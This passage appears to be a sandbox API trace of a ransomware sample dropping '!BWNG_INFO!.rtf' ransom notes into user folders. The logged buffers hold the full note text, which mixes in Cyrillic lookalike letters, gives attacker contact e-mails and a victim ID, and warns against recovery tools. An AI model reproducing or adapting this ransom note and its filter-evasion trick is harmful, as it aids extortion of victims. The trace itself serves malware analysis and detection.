r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n$½×\x04®\x0fQ\x90úo¯\x06]¾¤\x93_·wQ5\x89ô°\x8c±í2d\x01\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.272] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.273] CloseHandle (hObject=0x1a8) returned 1 [0035.274] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\!bwng_info!.rtf")) returned 0xffffffff [0035.274] GetLastError () returned 0x2 [0035.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 